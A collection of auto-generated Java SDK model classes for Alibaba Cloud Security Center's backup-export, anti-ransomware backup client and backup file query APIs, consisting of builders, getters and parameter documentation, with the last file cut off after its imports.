public class DescribeBackUpExportInfoRequest extends Request {
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("CurrentPage")
private Integer currentPage;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("ExportType")
@com.aliyun.core.annotation.Validation(required = true)
private String exportType;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Lang")
private String lang;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("PageSize")
private Integer pageSize;
private DescribeBackUpExportInfoRequest(Builder builder) {
super(builder);
this.currentPage = builder.currentPage;
this.exportType = builder.exportType;
this.lang = builder.lang;
this.pageSize = builder.pageSize;
}
public static Builder builder() {
return new Builder();
}
public static DescribeBackUpExportInfoRequest create() {
return builder().build();
}
@Override
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return currentPage
*/
public Integer getCurrentPage() {
return this.currentPage;
}
/**
* @return exportType
*/
public String getExportType() {
return this.exportType;
}
/**
* @return lang
*/
public String getLang() {
return this.lang;
}
/**
* @return pageSize
*/
public Integer getPageSize() {
return this.pageSize;
}
public static final class Builder extends Request.Builder<DescribeBackUpExportInfoRequest, Builder> {
private Integer currentPage;
private String exportType;
private String lang;
private Integer pageSize;
private Builder() {
super();
}
private Builder(DescribeBackUpExportInfoRequest request) {
super(request);
this.currentPage = request.currentPage;
this.exportType = request.exportType;
this.lang = request.lang;
this.pageSize = request.pageSize;
}
/**
* <p>The page number.</p>
*
* <strong>example:</strong>
* <p>1</p>
*/
public Builder currentPage(Integer currentPage) {
this.putQueryParameter("CurrentPage", currentPage);
this.currentPage = currentPage;
return this;
}
/**
* <p>The type of archived information. Valid values:</p>
* <ul>
* <li><strong>suspiciousExport</strong>: alert event</li>
* </ul>
* <p>This parameter is required.</p>
*
* <strong>example:</strong>
* <p>suspiciousExport</p>
*/
public Builder exportType(String exportType) {
this.putQueryParameter("ExportType", exportType);
this.exportType = exportType;
return this;
}
/**
* <p>The language of the content within the request and response. Valid values:</p>
* <ul>
* <li><strong>zh</strong>: Chinese</li>
* <li><strong>en</strong>: English</li>
* </ul>
*
* <strong>example:</strong>
* <p>zh</p>
*/
public Builder lang(String lang) {
this.putQueryParameter("Lang", lang);
this.lang = lang;
return this;
}
/**
* <p>The number of entries per page. Default value: 20.</p>
*
* <strong>example:</strong>
* <p>20</p>
*/
public Builder pageSize(Integer pageSize) {
this.putQueryParameter("PageSize", pageSize);
this.pageSize = pageSize;
return this;
}
@Override
public DescribeBackUpExportInfoRequest build() {
return new DescribeBackUpExportInfoRequest(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeBackUpExportInfoResponse.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeBackUpExportInfoResponse} extends {@link TeaModel}
*
* <p>DescribeBackUpExportInfoResponse</p>
*/
public class DescribeBackUpExportInfoResponse extends Response {
@com.aliyun.core.annotation.NameInMap("headers")
private java.util.Map<String, String> headers;
@com.aliyun.core.annotation.NameInMap("statusCode")
private Integer statusCode;
@com.aliyun.core.annotation.NameInMap("body")
private DescribeBackUpExportInfoResponseBody body;
private DescribeBackUpExportInfoResponse(BuilderImpl builder) {
super(builder);
this.headers = builder.headers;
this.statusCode = builder.statusCode;
this.body = builder.body;
}
public static DescribeBackUpExportInfoResponse create() {
return new BuilderImpl().build();
}
@Override
public Builder toBuilder() {
return new BuilderImpl(this);
}
/**
* @return headers
*/
public java.util.Map<String, String> getHeaders() {
return this.headers;
}
/**
* @return statusCode
*/
public Integer getStatusCode() {
return this.statusCode;
}
/**
* @return body
*/
public DescribeBackUpExportInfoResponseBody getBody() {
return this.body;
}
public interface Builder extends Response.Builder<DescribeBackUpExportInfoResponse, Builder> {
Builder headers(java.util.Map<String, String> headers);
Builder statusCode(Integer statusCode);
Builder body(DescribeBackUpExportInfoResponseBody body);
@Override
DescribeBackUpExportInfoResponse build();
}
private static final class BuilderImpl
extends Response.BuilderImpl<DescribeBackUpExportInfoResponse, Builder>
implements Builder {
private java.util.Map<String, String> headers;
private Integer statusCode;
private DescribeBackUpExportInfoResponseBody body;
private BuilderImpl() {
super();
}
private BuilderImpl(DescribeBackUpExportInfoResponse response) {
super(response);
this.headers = response.headers;
this.statusCode = response.statusCode;
this.body = response.body;
}
/**
* headers.
*/
@Override
public Builder headers(java.util.Map<String, String> headers) {
this.headers = headers;
return this;
}
/**
* statusCode.
*/
@Override
public Builder statusCode(Integer statusCode) {
this.statusCode = statusCode;
return this;
}
/**
* body.
*/
@Override
public Builder body(DescribeBackUpExportInfoResponseBody body) {
this.body = body;
return this;
}
@Override
public DescribeBackUpExportInfoResponse build() {
return new DescribeBackUpExportInfoResponse(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeBackUpExportInfoResponseBody.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeBackUpExportInfoResponseBody} extends {@link TeaModel}
*
* <p>DescribeBackUpExportInfoResponseBody</p>
*/
public class DescribeBackUpExportInfoResponseBody extends TeaModel {
@com.aliyun.core.annotation.NameInMap("Data")
private java.util.List<Data> data;
@com.aliyun.core.annotation.NameInMap("PageInfo")
private PageInfo pageInfo;
@com.aliyun.core.annotation.NameInMap("RequestId")
private String requestId;
private DescribeBackUpExportInfoResponseBody(Builder builder) {
this.data = builder.data;
this.pageInfo = builder.pageInfo;
this.requestId = builder.requestId;
}
public static Builder builder() {
return new Builder();
}
public static DescribeBackUpExportInfoResponseBody create() {
return builder().build();
}
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return data
*/
public java.util.List<Data> getData() {
return this.data;
}
/**
* @return pageInfo
*/
public PageInfo getPageInfo() {
return this.pageInfo;
}
/**
* @return requestId
*/
public String getRequestId() {
return this.requestId;
}
public static final class Builder {
private java.util.List<Data> data;
private PageInfo pageInfo;
private String requestId;
private Builder() {
}
private Builder(DescribeBackUpExportInfoResponseBody model) {
this.data = model.data;
this.pageInfo = model.pageInfo;
this.requestId = model.requestId;
}
/**
* <p>The data returned.</p>
*/
public Builder data(java.util.List<Data> data) {
this.data = data;
return this;
}
/**
* <p>The pagination information.</p>
*/
public Builder pageInfo(PageInfo pageInfo) {
this.pageInfo = pageInfo;
return this;
}
/**
* <p>The ID of the request, which is used to locate and troubleshoot issues.</p>
*
* <strong>example:</strong>
* <p>BE120DAB-F4E7-4C53-ADC3-A97578ABF384</p>
*/
public Builder requestId(String requestId) {
this.requestId = requestId;
return this;
}
public DescribeBackUpExportInfoResponseBody build() {
return new DescribeBackUpExportInfoResponseBody(this);
}
}
/**
*
* {@link DescribeBackUpExportInfoResponseBody} extends {@link TeaModel}
*
* <p>DescribeBackUpExportInfoResponseBody</p>
*/
public static class Data extends TeaModel {
@com.aliyun.core.annotation.NameInMap("CurrentCount")
private Integer currentCount;
@com.aliyun.core.annotation.NameInMap("FileName")
private String fileName;
@com.aliyun.core.annotation.NameInMap("GmtCreate")
private Long gmtCreate;
@com.aliyun.core.annotation.NameInMap("Id")
private Long id;
@com.aliyun.core.annotation.NameInMap("Link")
private String link;
@com.aliyun.core.annotation.NameInMap("Message")
private String message;
@com.aliyun.core.annotation.NameInMap("Progress")
private Integer progress;
@com.aliyun.core.annotation.NameInMap("Status")
private String status;
@com.aliyun.core.annotation.NameInMap("TotalCount")
private Integer totalCount;
private Data(Builder builder) {
this.currentCount = builder.currentCount;
this.fileName = builder.fileName;
this.gmtCreate = builder.gmtCreate;
this.id = builder.id;
this.link = builder.link;
this.message = builder.message;
this.progress = builder.progress;
this.status = builder.status;
this.totalCount = builder.totalCount;
}
public static Builder builder() {
return new Builder();
}
public static Data create() {
return builder().build();
}
/**
* @return currentCount
*/
public Integer getCurrentCount() {
return this.currentCount;
}
/**
* @return fileName
*/
public String getFileName() {
return this.fileName;
}
/**
* @return gmtCreate
*/
public Long getGmtCreate() {
return this.gmtCreate;
}
/**
* @return id
*/
public Long getId() {
return this.id;
}
/**
* @return link
*/
public String getLink() {
return this.link;
}
/**
* @return message
*/
public String getMessage() {
return this.message;
}
/**
* @return progress
*/
public Integer getProgress() {
return this.progress;
}
/**
* @return status
*/
public String getStatus() {
return this.status;
}
/**
* @return totalCount
*/
public Integer getTotalCount() {
return this.totalCount;
}
public static final class Builder {
private Integer currentCount;
private String fileName;
private Long gmtCreate;
private Long id;
private String link;
private String message;
private Integer progress;
private String status;
private Integer totalCount;
private Builder() {
}
private Builder(Data model) {
this.currentCount = model.currentCount;
this.fileName = model.fileName;
this.gmtCreate = model.gmtCreate;
this.id = model.id;
this.link = model.link;
this.message = model.message;
this.progress = model.progress;
this.status = model.status;
this.totalCount = model.totalCount;
}
/**
* <p>The number of exported entries.</p>
*
* <strong>example:</strong>
* <p>29</p>
*/
public Builder currentCount(Integer currentCount) {
this.currentCount = currentCount;
return this;
}
/**
* <p>The name of the file.</p>
*
* <strong>example:</strong>
* <p>suspicious_event_20221203</p>
*/
public Builder fileName(String fileName) {
this.fileName = fileName;
return this;
}
/**
* <p>The time when the export task was created.</p>
*
* <strong>example:</strong>
* <p>1671607025000</p>
*/
public Builder gmtCreate(Long gmtCreate) {
this.gmtCreate = gmtCreate;
return this;
}
/**
* <p>The ID of the export task.</p>
*
* <strong>example:</strong>
* <p>273698***</p>
*/
public Builder id(Long id) {
this.id = id;
return this;
}
/**
* <p>The URL at which you can download the archived information.</p>
*
* <strong>example:</strong>
* <p><a href="http://xxx.oss-cn-xxx.aliyuncs.com/export/assetInstance_20221221_1671606250570.zip">http://xxx.oss-cn-xxx.aliyuncs.com/export/assetInstance_20221221_1671606250570.zip</a></p>
*/
public Builder link(String link) {
this.link = link;
return this;
}
/**
* <p>The error message that is returned when the export task fails.</p>
*
* <strong>example:</strong>
* <p>success</p>
*/
public Builder message(String message) {
this.message = message;
return this;
}
/**
* <p>The progress percentage of the export task.</p>
*
* <strong>example:</strong>
* <p>100</p>
*/
public Builder progress(Integer progress) {
this.progress = progress;
return this;
}
/**
* <p>The status of the export task. Valid values:</p>
* <ul>
* <li><strong>init</strong>: The task is being initialized.</li>
* <li><strong>exporting</strong>: The task is in progress.</li>
* <li><strong>success</strong>: The task is complete.</li>
* </ul>
*
* <strong>example:</strong>
* <p>success</p>
*/
public Builder status(String status) {
this.status = status;
return this;
}
/**
* <p>The total number of entries in the file.</p>
*
* <strong>example:</strong>
* <p>29</p>
*/
public Builder totalCount(Integer totalCount) {
this.totalCount = totalCount;
return this;
}
public Data build() {
return new Data(this);
}
}
}
/**
*
* {@link DescribeBackUpExportInfoResponseBody} extends {@link TeaModel}
*
* <p>DescribeBackUpExportInfoResponseBody</p>
*/
public static class PageInfo extends TeaModel {
@com.aliyun.core.annotation.NameInMap("Count")
private Integer count;
@com.aliyun.core.annotation.NameInMap("CurrentPage")
private Integer currentPage;
@com.aliyun.core.annotation.NameInMap("PageSize")
private Integer pageSize;
@com.aliyun.core.annotation.NameInMap("TotalCount")
private Integer totalCount;
private PageInfo(Builder builder) {
this.count = builder.count;
this.currentPage = builder.currentPage;
this.pageSize = builder.pageSize;
this.totalCount = builder.totalCount;
}
public static Builder builder() {
return new Builder();
}
public static PageInfo create() {
return builder().build();
}
/**
* @return count
*/
public Integer getCount() {
return this.count;
}
/**
* @return currentPage
*/
public Integer getCurrentPage() {
return this.currentPage;
}
/**
* @return pageSize
*/
public Integer getPageSize() {
return this.pageSize;
}
/**
* @return totalCount
*/
public Integer getTotalCount() {
return this.totalCount;
}
public static final class Builder {
private Integer count;
private Integer currentPage;
private Integer pageSize;
private Integer totalCount;
private Builder() {
}
private Builder(PageInfo model) {
this.count = model.count;
this.currentPage = model.currentPage;
this.pageSize = model.pageSize;
this.totalCount = model.totalCount;
}
/**
* <p>The number of entries returned on the current page.</p>
*
* <strong>example:</strong>
* <p>9</p>
*/
public Builder count(Integer count) {
this.count = count;
return this;
}
/**
* <p>The page number of the returned page.</p>
*
* <strong>example:</strong>
* <p>1</p>
*/
public Builder currentPage(Integer currentPage) {
this.currentPage = currentPage;
return this;
}
/**
* <p>The number of entries returned per page.</p>
*
* <strong>example:</strong>
* <p>20</p>
*/
public Builder pageSize(Integer pageSize) {
this.pageSize = pageSize;
return this;
}
/**
* <p>The total number of entries returned.</p>
*
* <strong>example:</strong>
* <p>29</p>
*/
public Builder totalCount(Integer totalCount) {
this.totalCount = totalCount;
return this;
}
public PageInfo build() {
return new PageInfo(this);
}
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeBackupClientsRequest.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeBackupClientsRequest} extends {@link RequestModel}
*
* <p>DescribeBackupClientsRequest</p>
*/
public class DescribeBackupClientsRequest extends Request {
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("SupportRegionId")
@com.aliyun.core.annotation.Validation(required = true)
private String supportRegionId;
private DescribeBackupClientsRequest(Builder builder) {
super(builder);
this.supportRegionId = builder.supportRegionId;
}
public static Builder builder() {
return new Builder();
}
public static DescribeBackupClientsRequest create() {
return builder().build();
}
@Override
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return supportRegionId
*/
public String getSupportRegionId() {
return this.supportRegionId;
}
public static final class Builder extends Request.Builder<DescribeBackupClientsRequest, Builder> {
private String supportRegionId;
private Builder() {
super();
}
private Builder(DescribeBackupClientsRequest request) {
super(request);
this.supportRegionId = request.supportRegionId;
}
/**
* <p>The region in which the anti-ransomware feature is supported.</p>
* <blockquote>
* <p>You can call the <a href="~~DescribeSupportRegion~~">DescribeSupportRegion</a> operation to query the regions in which the anti-ransomware feature is supported.</p>
* </blockquote>
* <p>This parameter is required.</p>
*
* <strong>example:</strong>
* <p>cn-hangzhou</p>
*/
public Builder supportRegionId(String supportRegionId) {
this.putQueryParameter("SupportRegionId", supportRegionId);
this.supportRegionId = supportRegionId;
return this;
}
@Override
public DescribeBackupClientsRequest build() {
return new DescribeBackupClientsRequest(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeBackupClientsResponse.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeBackupClientsResponse} extends {@link TeaModel}
*
* <p>DescribeBackupClientsResponse</p>
*/
public class DescribeBackupClientsResponse extends Response {
@com.aliyun.core.annotation.NameInMap("headers")
private java.util.Map<String, String> headers;
@com.aliyun.core.annotation.NameInMap("statusCode")
private Integer statusCode;
@com.aliyun.core.annotation.NameInMap("body")
private DescribeBackupClientsResponseBody body;
private DescribeBackupClientsResponse(BuilderImpl builder) {
super(builder);
this.headers = builder.headers;
this.statusCode = builder.statusCode;
this.body = builder.body;
}
public static DescribeBackupClientsResponse create() {
return new BuilderImpl().build();
}
@Override
public Builder toBuilder() {
return new BuilderImpl(this);
}
/**
* @return headers
*/
public java.util.Map<String, String> getHeaders() {
return this.headers;
}
/**
* @return statusCode
*/
public Integer getStatusCode() {
return this.statusCode;
}
/**
* @return body
*/
public DescribeBackupClientsResponseBody getBody() {
return this.body;
}
public interface Builder extends Response.Builder<DescribeBackupClientsResponse, Builder> {
Builder headers(java.util.Map<String, String> headers);
Builder statusCode(Integer statusCode);
Builder body(DescribeBackupClientsResponseBody body);
@Override
DescribeBackupClientsResponse build();
}
private static final class BuilderImpl
extends Response.BuilderImpl<DescribeBackupClientsResponse, Builder>
implements Builder {
private java.util.Map<String, String> headers;
private Integer statusCode;
private DescribeBackupClientsResponseBody body;
private BuilderImpl() {
super();
}
private BuilderImpl(DescribeBackupClientsResponse response) {
super(response);
this.headers = response.headers;
this.statusCode = response.statusCode;
this.body = response.body;
}
/**
* headers.
*/
@Override
public Builder headers(java.util.Map<String, String> headers) {
this.headers = headers;
return this;
}
/**
* statusCode.
*/
@Override
public Builder statusCode(Integer statusCode) {
this.statusCode = statusCode;
return this;
}
/**
* body.
*/
@Override
public Builder body(DescribeBackupClientsResponseBody body) {
this.body = body;
return this;
}
@Override
public DescribeBackupClientsResponse build() {
return new DescribeBackupClientsResponse(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeBackupClientsResponseBody.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeBackupClientsResponseBody} extends {@link TeaModel}
*
* <p>DescribeBackupClientsResponseBody</p>
*/
public class DescribeBackupClientsResponseBody extends TeaModel {
@com.aliyun.core.annotation.NameInMap("Clients")
private java.util.List<Clients> clients;
@com.aliyun.core.annotation.NameInMap("RequestId")
private String requestId;
private DescribeBackupClientsResponseBody(Builder builder) {
this.clients = builder.clients;
this.requestId = builder.requestId;
}
public static Builder builder() {
return new Builder();
}
public static DescribeBackupClientsResponseBody create() {
return builder().build();
}
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return clients
*/
public java.util.List<Clients> getClients() {
return this.clients;
}
/**
* @return requestId
*/
public String getRequestId() {
return this.requestId;
}
public static final class Builder {
private java.util.List<Clients> clients;
private String requestId;
private Builder() {
}
private Builder(DescribeBackupClientsResponseBody model) {
this.clients = model.clients;
this.requestId = model.requestId;
}
/**
* <p>An array that consists of the information about the anti-ransomware agent.</p>
*/
public Builder clients(java.util.List<Clients> clients) {
this.clients = clients;
return this;
}
/**
* <p>The ID of the request, which is used to locate and troubleshoot issues.</p>
*
* <strong>example:</strong>
* <p>E3ED094C-9EB7-4239-962B-D0FB3D5F23C7</p>
*/
public Builder requestId(String requestId) {
this.requestId = requestId;
return this;
}
public DescribeBackupClientsResponseBody build() {
return new DescribeBackupClientsResponseBody(this);
}
}
/**
*
* {@link DescribeBackupClientsResponseBody} extends {@link TeaModel}
*
* <p>DescribeBackupClientsResponseBody</p>
*/
public static class Clients extends TeaModel {
@com.aliyun.core.annotation.NameInMap("ClientId")
private String clientId;
@com.aliyun.core.annotation.NameInMap("ClientStatus")
private String clientStatus;
@com.aliyun.core.annotation.NameInMap("ClientVersion")
private String clientVersion;
@com.aliyun.core.annotation.NameInMap("InstanceId")
private String instanceId;
@com.aliyun.core.annotation.NameInMap("Uuid")
private String uuid;
private Clients(Builder builder) {
this.clientId = builder.clientId;
this.clientStatus = builder.clientStatus;
this.clientVersion = builder.clientVersion;
this.instanceId = builder.instanceId;
this.uuid = builder.uuid;
}
public static Builder builder() {
return new Builder();
}
public static Clients create() {
return builder().build();
}
/**
* @return clientId
*/
public String getClientId() {
return this.clientId;
}
/**
* @return clientStatus
*/
public String getClientStatus() {
return this.clientStatus;
}
/**
* @return clientVersion
*/
public String getClientVersion() {
return this.clientVersion;
}
/**
* @return instanceId
*/
public String getInstanceId() {
return this.instanceId;
}
/**
* @return uuid
*/
public String getUuid() {
return this.uuid;
}
public static final class Builder {
private String clientId;
private String clientStatus;
private String clientVersion;
private String instanceId;
private String uuid;
private Builder() {
}
private Builder(Clients model) {
this.clientId = model.clientId;
this.clientStatus = model.clientStatus;
this.clientVersion = model.clientVersion;
this.instanceId = model.instanceId;
this.uuid = model.uuid;
}
/**
* <p>The ID of the anti-ransomware agent.</p>
*
* <strong>example:</strong>
* <p>c-000az2f537r73dyh****</p>
*/
public Builder clientId(String clientId) {
this.clientId = clientId;
return this;
}
/**
* <p>The status of the anti-ransomware agent.</p>
* <p>Valid values:</p>
* <ul>
* <li><strong>INSTALLING</strong>: The agent is being installed.</li>
* <li><strong>ONLINE</strong>: The agent is online.</li>
* <li><strong>UNINSTALLING</strong>: The agent is being uninstalled.</li>
* <li><strong>NOT_INSTALLED</strong>: The agent is not installed.</li>
* <li><strong>ACTIVATED</strong>: The agent is enabled.</li>
* <li><strong>CLIENT_CONNECTION_ERROR</strong>: A connection error occurs on the agent.</li>
* </ul>
*
* <strong>example:</strong>
* <p>ONLINE</p>
*/
public Builder clientStatus(String clientStatus) {
this.clientStatus = clientStatus;
return this;
}
/**
* <p>The version of the anti-ransomware agent.</p>
*
* <strong>example:</strong>
* <p>2.0.0</p>
*/
public Builder clientVersion(String clientVersion) {
this.clientVersion = clientVersion;
return this;
}
/**
* <p>The ID of the ECS instance on which the anti-ransomware agent is installed.</p>
*
* <strong>example:</strong>
* <p>i-bp15hyph4aci99dv****</p>
*/
public Builder instanceId(String instanceId) {
this.instanceId = instanceId;
return this;
}
/**
* <p>The UUID of the Elastic Compute Service (ECS) instance on which the anti-ransomware agent is installed.</p>
*
* <strong>example:</strong>
* <p>22f6550d-f294-449b-b6e6-90638fd1****</p>
*/
public Builder uuid(String uuid) {
this.uuid = uuid;
return this;
}
public Clients build() {
return new Clients(this);
}
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeBackupFilesRequest.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeBackupFilesRequest} extends {@link RequestModel}
*
* <p>DescribeBackupFilesRequest</p>
*/
public class DescribeBackupFilesRequest extends Request {
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("CurrentPage")
@com.aliyun.core.annotation.Validation(required = true)
private String currentPage;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("PageSize")
@com.aliyun.core.annotation.Validation(required = true)
private String pageSize;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Path")
private String path;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("SnapshotHash")
@com.aliyun.core.annotation.Validation(required = true)
private String snapshotHash;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Uuid")
@com.aliyun.core.annotation.Validation(required = true)
private String uuid;
private DescribeBackupFilesRequest(Builder builder) {
super(builder);
this.currentPage = builder.currentPage;
this.pageSize = builder.pageSize;
this.path = builder.path;
this.snapshotHash = builder.snapshotHash;
this.uuid = builder.uuid;
}
public static Builder builder() {
return new Builder();
}
public static DescribeBackupFilesRequest create() {
return builder().build();
}
@Override
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return currentPage
*/
public String getCurrentPage() {
return this.currentPage;
}
/**
* @return pageSize
*/
public String getPageSize() {
return this.pageSize;
}
/**
* @return path
*/
public String getPath() {
return this.path;
}
/**
* @return snapshotHash
*/
public String getSnapshotHash() {
return this.snapshotHash;
}
/**
* @return uuid
*/
public String getUuid() {
return this.uuid;
}
public static final class Builder extends Request.Builder<DescribeBackupFilesRequest, Builder> {
private String currentPage;
private String pageSize;
private String path;
private String snapshotHash;
private String uuid;
private Builder() {
super();
}
private Builder(DescribeBackupFilesRequest request) {
super(request);
this.currentPage = request.currentPage;
this.pageSize = request.pageSize;
this.path = request.path;
this.snapshotHash = request.snapshotHash;
this.uuid = request.uuid;
}
/**
* <p>The number of the page to return. Default value: <strong>1</strong>.</p>
* <p>This parameter is required.</p>
*
* <strong>example:</strong>
* <p>1</p>
*/
public Builder currentPage(String currentPage) {
this.putQueryParameter("CurrentPage", currentPage);
this.currentPage = currentPage;
return this;
}
/**
* <p>The number of entries to return on each page. Default value: <strong>10</strong>.</p>
* <p>This parameter is required.</p>
*
* <strong>example:</strong>
* <p>10</p>
*/
public Builder pageSize(String pageSize) {
this.putQueryParameter("PageSize", pageSize);
this.pageSize = pageSize;
return this;
}
/**
* <p>The path to the backup file.</p>
*
* <strong>example:</strong>
* <p>“”</p>
*/
public Builder path(String path) {
this.putQueryParameter("Path", path);
this.path = path;
return this;
}
/**
* <p>The hash value of the backup file.</p>
* <p>This parameter is required.</p>
*
* <strong>example:</strong>
* <p>a7f26223ef3974c6fac324cd37713ab65ab618859d20b4039192a5da44d77b63</p>
*/
public Builder snapshotHash(String snapshotHash) {
this.putQueryParameter("SnapshotHash", snapshotHash);
this.snapshotHash = snapshotHash;
return this;
}
/**
* <p>The UUID of the server to which an anti-ransomware policy is applied.</p>
* <p>This parameter is required.</p>
*
* <strong>example:</strong>
* <p>6d5b361f-958d-48a8-a9d2-d6e82c1a****</p>
*/
public Builder uuid(String uuid) {
this.putQueryParameter("Uuid", uuid);
this.uuid = uuid;
return this;
}
@Override
public DescribeBackupFilesRequest build() {
return new DescribeBackupFilesRequest(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeBackupFilesResponse.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeBackupFilesResponse} extends {@link TeaModel}
*
* <p>DescribeBackupFilesResponse</p>
*/
public class DescribeBackupFilesResponse extends Response {
@com.aliyun.core.annotation.NameInMap("headers")
private java.util.Map<String, String> headers;
@com.aliyun.core.annotation.NameInMap("statusCode")
private Integer statusCode;
@com.aliyun.core.annotation.NameInMap("body")
private DescribeBackupFilesResponseBody body;
private DescribeBackupFilesResponse(BuilderImpl builder) {
super(builder);
this.headers = builder.headers;
this.statusCode = builder.statusCode;
this.body = builder.body;
}
public static DescribeBackupFilesResponse create() {
return new BuilderImpl().build();
}
@Override
public Builder toBuilder() {
return new BuilderImpl(this);
}
/**
* @return headers
*/
public java.util.Map<String, String> getHeaders() {
return this.headers;
}
/**
* @return statusCode
*/
public Integer getStatusCode() {
return this.statusCode;
}
/**
* @return body
*/
public DescribeBackupFilesResponseBody getBody() {
return this.body;
}
public interface Builder extends Response.Builder<DescribeBackupFilesResponse, Builder> {
Builder headers(java.util.Map<String, String> headers);
Builder statusCode(Integer statusCode);
Builder body(DescribeBackupFilesResponseBody body);
@Override
DescribeBackupFilesResponse build();
}
private static final class BuilderImpl
extends Response.BuilderImpl<DescribeBackupFilesResponse, Builder>
implements Builder {
private java.util.Map<String, String> headers;
private Integer statusCode;
private DescribeBackupFilesResponseBody body;
private BuilderImpl() {
super();
}
private BuilderImpl(DescribeBackupFilesResponse response) {
super(response);
this.headers = response.headers;
this.statusCode = response.statusCode;
this.body = response.body;
}
/**
* headers.
*/
@Override
public Builder headers(java.util.Map<String, String> headers) {
this.headers = headers;
return this;
}
/**
* statusCode.
*/
@Override
public Builder statusCode(Integer statusCode) {
this.statusCode = statusCode;
return this;
}
/**
* body.
*/
@Override
public Builder body(DescribeBackupFilesResponseBody body) {
this.body = body;
return this;
}
@Override
public DescribeBackupFilesResponse build() {
return new DescribeBackupFilesResponse(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeBackupFilesResponseBody.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
